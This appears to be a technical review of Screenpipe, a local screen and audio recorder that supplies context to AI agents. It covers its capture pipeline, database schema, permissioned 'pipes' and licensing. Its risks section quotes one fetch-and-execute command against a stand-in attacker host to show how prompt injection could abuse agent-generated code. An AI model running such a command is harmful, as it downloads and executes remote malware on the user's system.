Screenpipe: Building AI Agents That Remember What You Actually Did

Hook

Most screen recorders poll your display every 500ms and OCR every frame—burning 40% CPU to capture thousands of duplicate screenshots of you staring at the same terminal. Screenpipe listens to OS events instead, capturing only when you switch apps, click, or pause typing, cutting CPU usage to 5% while missing nothing.

Context

AI coding assistants like Cursor and Claude can write entire features from scratch, but they forget everything the moment you close the chat. They can't remember that three hours ago you debugged a race condition in the payment flow, or that yesterday's standup mentioned a breaking API change. The context window is their entire memory, and it resets constantly.

Rewind tried to solve this by recording everything and running OCR, but it's closed-source, macOS-only, and requires cloud sync. Microsoft's Recall promised local recording but was delayed indefinitely after security researchers found the database stored unencrypted screenshots including passwords. The market clearly wanted developer-controlled, auditable screen recording that could feed context to AI agents—but nobody had shipped it with a security model that enterprises could actually deploy.

Technical Insight

Screenpipe's architecture inverts the typical polling approach. Instead of capturing frames on a timer, it registers listeners for OS-level events: application switches (via NSWorkspace on macOS, equivalent Win32 APIs on Windows), mouse clicks, keyboard activity, and window focus changes. When an event fires, the capture pipeline executes two parallel tasks.

First, it queries the accessibility tree—the structured UI hierarchy that every modern OS maintains for screen readers. This gives you semantic data: button labels, text field contents, menu items, their relationships and states. Only when accessibility APIs return empty (games, legacy apps, remote desktop sessions) does it fall back to OCR via Tesseract. Here's what a typical capture looks like in the SQLite schema:

CREATE TABLE frames (
  id INTEGER PRIMARY KEY,
  timestamp INTEGER NOT NULL,
  app_name TEXT NOT NULL,
  window_title TEXT,
  accessibility_json TEXT, -- structured UI tree
  ocr_text TEXT,          -- fallback when accessibility fails
  file_path TEXT          -- reference to screenshot on disk
);

CREATE VIRTUAL TABLE frames_fts USING fts5(
  accessibility_json, 
  ocr_text, 
  content='frames'
);

Audio capture runs independently: system audio and microphone streams feed into Whisper Large-V3-Turbo running locally via whisper.cpp bindings. The transcription pipeline chunks audio into 30-second segments, transcribes them, then runs speaker diarization to separate voices. Transcripts land in their own table with timestamps synced to frame captures:

// Simplified from the actual audio ingestion pipeline
pub async fn process_audio_chunk(
    chunk: AudioBuffer,
    db: &Database,
) -> Result<()> {
    let transcription = whisper::transcribe(
        &chunk,
        WhisperModel::LargeV3Turbo,
    ).await?;
    
    let speakers = diarize(&chunk, &transcription).await?;
    
    db.insert_audio_chunk(AudioChunk {
        timestamp: chunk.timestamp,
        transcription: transcription.text,
        speakers,
        device: chunk.device_id,
    }).await?;
    
    Ok(())
}

The real innovation is the Pipes system—AI agents defined as markdown files with YAML frontmatter. Here's what a pipe looks like:

---
name: auto-standup
schedule: "0 9 * * 1-5"  # Every weekday at 9am
permissions:
  allow_apps: ["Slack", "Linear", "VSCode"]
  deny_windows: ["*password*", "*bank*"]
  time_range: "work_hours"
  allow_raw_sql: false
  endpoints: ["GET /search", "POST /ai/query"]
ai_agent: "claude-3.5-sonnet"
---

# Auto Standup Generator

Query screenpipe for my activity in the last 24 hours.
Find work in Slack, code changes in VSCode, and ticket updates in Linear.
Generate a standup summary and post it to #eng-standup.

When the scheduler triggers this pipe, it invokes an AI coding agent (Claude via the API, or Cursor/Cline via their respective integrations) and provides:

1. The markdown prompt
2. Access to screenpipe's HTTP API, scoped to the declared endpoints
3. A cryptographic JWT token encoding the pipe's permissions

The agent generates code to query screenpipe, processes results, and executes actions—but the runtime enforces permissions at three layers. First, skill gating: the system prompt given to the AI literally omits documentation for forbidden endpoints. Second, runtime interception: before executing any API call, an agent wrapper validates it against the YAML rules. Third, JWT middleware: the screenpipe server validates tokens and rejects requests that violate the pipe's permissions.

This isn't prompt-based safety ('please don't access passwords'). It's deterministic enforcement. A malicious or jailbroken model cannot bypass it because the server-side middleware doesn't trust the agent—only the cryptographically signed token.

The MCP (Model Context Protocol) server implementation is equally critical. Instead of building N integrations for Cursor, Claude, Continue, Cline, and future tools, screenpipe exposes one MCP server that all of them can query:

// MCP tools exposed by screenpipe
const tools = [
  {
    name: "search_screens",
    description: "Search captured screens and UI elements",
    inputSchema: {
      query: "string",
      time_range: "optional string",
      apps: "optional array"
    }
  },
  {
    name: "search_audio",
    description: "Search transcribed audio",
    inputSchema: {
      query: "string",
      speaker: "optional string"
    }
  }
];

When Cursor wants to know 'what did I work on in the payment service today,' it calls search_screens with query='payment service' and time_range='today', gets back structured results with timestamps and app context, and uses that to inform its code generation. No custom integration required—just MCP.

Gotcha

SQLite as the sole datastore will hit scaling walls hard—a team of 10 developers recording all day generates 300GB/month, and FTS5 search degrades badly past 50-100GB with no sharding or distributed indexing on the roadmap. The Pipes execution model is arbitrary code execution wearing a permission system—YAML rules protect your screenpipe data, but once the AI generates code, it runs with your full user permissions (filesystem, network, API keys). One malicious pipe or prompt injection away from curl attacker.com/malware.sh | bash, with no sandboxing or container isolation mentioned. The license switch from MIT to 'source-available commercial' is legally ambiguous—'personal, non-commercial use permitted' doesn't define whether a freelancer using it for client work or a startup employee qualifies as commercial, making enterprise adoption risky until they publish clear terms.

Verdict

Use if: You're building AI agents that need context beyond the current chat (Cursor/Claude workflows, ADHD knowledge management, automated standups), you need local-only operation with no cloud dependency, you're on Linux or need multi-monitor support that Rewind/Recall don't offer, or you need auditable source code and API access for custom integrations. The event-driven architecture and accessibility-first capture are legitimately clever, and the Pipes permission model is the first credible answer to 'how do enterprises give AI agents sensitive data access without prompt injection risks.' Skip if: You're privacy-paranoid about local keylogging/screen capture (it's still recording everything you do, just locally), you need semantic search or vector embeddings beyond keyword FTS (the 'AI-powered search' is just LLM query rewriting over SQL FTS5), you can't tolerate the legal ambiguity of the commercial license, or your valuable context already lives in SaaS apps where Dropbox Dash or Glean can index it via APIs. Screenpipe wins when the context you need lives in non-API-accessible places: terminal sessions, desktop apps, Slack threads that expire after 90 days.